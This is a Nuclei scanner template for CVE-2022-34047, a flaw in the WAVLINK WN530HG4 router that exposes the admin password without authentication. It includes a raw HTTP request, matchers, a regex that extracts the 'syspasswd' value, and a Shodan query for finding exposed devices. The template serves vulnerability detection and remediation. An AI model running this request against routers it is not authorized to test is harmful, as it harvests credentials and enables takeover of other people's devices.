id: CVE-2022-34047

info:
  name: WAVLINK WN530HG4 - Improper Access Control
  author: For3stCo1d
  severity: high
  description: |
    WAVLINK WN530HG4 M30HG4.V5030.191116 is susceptible to improper access control. An attacker can obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd] and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047
    - http://packetstormsecurity.com/files/167891/Wavlink-WN530HG4-Password-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34047
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34047
    cwe-id: CWE-668
    epss-score: 0.22865
    epss-percentile: 0.95965
    cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.191116:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn530hg4_firmware
    shodan-query: http.title:"Wi-Fi APP Login"
  tags: cve2022,wavlink,router,exposure,packetstorm,cve

http:
  - raw:
      - |
        GET /set_safety.shtml?r=52300 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'var syspasswd="'
          - '<title>APP</title>'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - 'syspasswd="(.+?)"'

# digest: 4b0a00483046022100a61f4238b7192b5df83047c664fc91eb68cfa9c03b7c071bbca23cb6d2044f220221009b2a15c95f63d8498e723c228902d80b776f0b2ef25cc0d36180f2d5c5dc0ed1:922c64590222798bb761d5b6d8e72950